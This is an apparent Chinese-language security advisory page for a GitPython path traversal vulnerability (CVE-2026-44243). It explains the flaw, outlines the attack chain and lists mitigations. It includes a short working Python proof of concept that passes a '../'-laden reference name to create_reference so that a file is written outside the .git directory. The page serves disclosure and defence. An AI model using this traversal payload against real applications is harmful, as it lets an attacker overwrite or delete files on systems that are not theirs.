IPBUF安全漏洞报告
English
CVE-2026-44243 CVSS 7.1 高危

CVE-2026-44243 GitPython路径遍历漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-44243
漏洞类型
路径遍历
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitPython

相关标签

路径遍历GitPythonCVE-2026-44243本地文件写入

漏洞概述

GitPython是一个用于与Git仓库交互的Python库。在3.1.48版本之前,该组件存在一个严重的安全漏洞。由于在引用创建、重命名和删除操作中对引用路径的验证不足,攻击者若能向使用GitPython的应用程序提供精心设计的引用路径,即可绕过安全限制。这使得攻击者能够在仓库.git目录之外写入、覆盖、移动或删除任意文件,破坏系统完整性。该问题已在3.1.48版本中被修复。

技术细节

该漏洞源于GitPython在处理Git引用路径时缺乏严格的输入验证。Git引用通常指向提交对象,存储在.git/refs/目录下。然而,攻击者可以利用路径遍历序列(如../)构造恶意的引用名称。当应用程序尝试创建、重命名或删除这些引用时,GitPython未能正确解析路径边界,导致操作扩展到.git目录之外。具体而言,攻击者可以利用文件系统操作符号(如..)或绝对路径,将引用指向系统中的任意位置。由于GitPython以运行应用程序的用户权限执行文件操作,这允许攻击者覆盖关键配置文件、删除系统文件或写入恶意数据。虽然攻击需要本地访问权限和低权限用户上下文,但结合其他攻击手段,可能导致权限提升或系统破坏。CVSS向量显示其对完整性和可用性影响极高。

攻击链分析

STEP 1
发现与侦察
攻击者识别出目标应用程序使用了GitPython库,并且该应用接受用户输入并将其作为引用路径传递给Git操作。
STEP 2
构造载荷
攻击者构造包含路径遍历序列(如'../')的恶意字符串,旨在绕过.git目录限制并指向系统敏感位置。
STEP 3
投递与利用
攻击者在本地环境或通过应用程序接口提交该恶意引用路径,触发GitPython的引用创建、重命名或删除功能。
STEP 4
执行攻击
由于验证不足,GitPython将文件操作应用于目标路径之外的文件,导致攻击者成功写入、覆盖或删除系统文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import git import os import tempfile # Initialize a test repository repo_path = tempfile.mkdtemp() repo = git.Repo.init(repo_path) # Create a dummy file and commit to have a valid target SHA with open(os.path.join(repo_path, 'test.txt'), 'w') as f: f.write('content') repo.index.add(['test.txt']) commit_sha = repo.index.commit('Initial commit').hexsha # Define a malicious reference path using path traversal # Attempting to write outside the .git directory (e.g., /tmp/pwned) malicious_ref = 'refs/heads/../../../tmp/pwned' try: print(f"Attempting to create reference: {malicious_ref}") # In vulnerable versions (< 3.1.48), this creates a file at /tmp/pwned repo.create_reference(malicious_ref, commit_sha) print("[+] PoC successful: File written outside .git directory.") except Exception as e: print(f"[-] PoC failed (System might be patched): {e}")

影响范围

GitPython < 3.1.48

防御指南

临时缓解措施
若无法立即升级版本,应在应用程序代码层面实施严格的输入白名单机制,拒绝包含“../”、绝对路径或特殊字符的引用名称。同时,尽量以最小权限运行应用程序,避免使用具有高写入权限的用户账户运行服务,以减少潜在文件损坏的影响范围。

参考链接